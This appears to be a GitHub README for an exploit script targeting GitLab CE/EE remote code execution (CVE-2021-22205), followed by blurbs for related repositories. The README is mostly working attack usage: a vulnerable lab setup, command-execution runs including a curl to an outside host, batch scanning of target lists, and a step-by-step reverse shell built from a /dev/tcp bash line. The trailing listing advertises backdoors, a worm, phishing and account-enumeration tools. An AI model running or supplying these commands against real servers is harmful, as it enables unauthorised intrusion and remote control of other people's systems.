CVE-2021-22205& GitLab CE/EE RCE

Overview

Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Vuln Product

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

Environment

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

Vunl Check

Basic usage
python3 CVE-2021-2205.py

img

Vuln check
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

img

command execute
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

attack

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

attack_command1

attack_command2

batch scan
python3 CVE-2021-2205.py -s true -f target.txt

scan_result

Reserve Shell
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

reverse_shell1

reverse_shell2

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

reverse_shell3

reverse_shell4

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

reverse_shell5

Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

Owner
Al1ex
Al1ex
ssh-audit is a tool for ssh server & client configuration auditing.

SSH server & client auditing (banner, key exchange, encryption, mac, compression, compatibility, security, etc)

Joe Testa 1.4k Dec 31, 2022
A simple way to store your passwords without requiring third party applications

SimplePasswordManager A simple way to store your passwords without requiring third party applications Simple To Use. Store Your Passwords For Each Web

Leone Odinga 1 Dec 23, 2021
RedlineSpam - Python tool to spam Redline Infostealer panels with legit looking data

RedlineSpam Python tool to spam Redline Infostealer panels with legit looking da

4 Jan 27, 2022
Python Toolkit containing different Cyber Attacks Tools

Helikopter Python Toolkit containing different Cyber Attacks Tools. Tools in Helikopter Toolkit 1. FattyNigger (PYTHON WORM) 2. Taxes (PYTHON PASS EXT

Saqlain Naqvi 22 Dec 04, 2022
Gitlab RCE - Remote Code Execution

Gitlab RCE - Remote Code Execution RCE for old gitlab version = 11.4.7 & 12.4.0-12.8.1 LFI for old gitlab versions 10.4 - 12.8.1 This is an exploit f

153 Nov 09, 2022
Some Attacks of Exchange SSRF ProxyLogon&ProxyShell

Some Attacks of Exchange SSRF This project is heavily replicated in ProxyShell, NtlmRelayToEWS https://mp.weixin.qq.com/s/GFcEKA48bPWsezNdVcrWag Get 1

Jumbo 129 Dec 30, 2022
Remote control your Greenbone Vulnerability Manager (GVM)

Greenbone Vulnerability Management Tools The Greenbone Vulnerability Management Tools gvm-tools are a collection of tools that help with remote contro

Greenbone 130 Dec 17, 2022
A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities

Shodan Quick Recon A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities Configuration You must edit the python code, and in

Black Hat Ethical Hacking 5 Aug 09, 2022
This is an advanced backdoor, created with Python

Backdoor This is a Backdoor, created with Python 3. Types of Commands: Downloading / Uploading files. Launching / Deleting / Reading file's content. S

swagkarna 28 Oct 28, 2022
Log4j minecraft with python

Apache-Log4j Apache Log4j 远程代码执行 攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响 Steps 【Import

manmade 57 Oct 03, 2022
Infoga is a tool gathering email accounts informations (ip,hostname,country,...) from different public source

Infoga - Email OSINT Infoga is a tool gathering email accounts informations (ip,hostname,country,...) from different public source (search engines, pg

m4ll0k (mallok) 1.8k Jan 04, 2023
Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts.

Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool parses responses to ident

Joe Helle 414 Jan 02, 2023
This is a js front-end encryption blasting account and password tools

Author:0xAXSDD By Gamma安全实验室 version:1.0 explain:这是一款用户绕过前端js加密进行密码爆破的工具,你无需在意js加密的细节,只需要输入你想要爆破url,以及username输入框的classname,password输入框的clas

75 Nov 25, 2022
Writeups for wtf-CTF hosted by Manipal Information Security Team as part of Techweek2021- INCOGNITO

wtf-CTF_Writeups Table of Contents Table of Contents Crypto Misc Reverse Pwn Web Crypto wtf_Bot Author: Madjelly Join the discord server!You know how

6 Jun 07, 2021
Port scanner tool with easy installation

ort scanner tool with easy installation! Python programming language is used and The text in the program is Georgian 3

2 Mar 24, 2022
Unauthenticated Sqlinjection that leads to dump data base but this one impersonated Admin and drops a interactive shell

Unauthenticated Sqlinjection that leads to dump database but this one impersonated Admin and drops a interactive shell

sam 16 Nov 09, 2022
FOSSLight Scanner performs open source analysis after downloading the source by passing a link that can be cloned by wget or git.

FOSSLight Scanner Analyze at once for Open Source Compliance. FOSSLight Scanner performs open source analysis after downloading the source by passing

FOSSLight 8 Nov 03, 2022
Auto Tor Ip Changer

AutoTor Auto Tor Ip Changer for Linux! git clone https://github.com/Arest7/AutoTor cd AutoTor pip install -r requirements.txt python3 AutoTor.py follo

Ken Ryuguji 3 Jan 23, 2022
WhPhisher: a Phishing tool With Python

WhPhisher Herramienta para hacer phishing con muchos métodos de túneling -----Como Instalarlo------- pkg install python3 pkg install git git clone htt

WhBeatZ 80 Jan 02, 2023
Python decompiler for Python 1.5-2.4 (for historical archive)

This preserves the early code of a Python decompiler for Python versions 1.5 to 2.4. I have been able to install this using pyenv using Python 2.3.7 u

R. Bernstein 2 Jan 04, 2022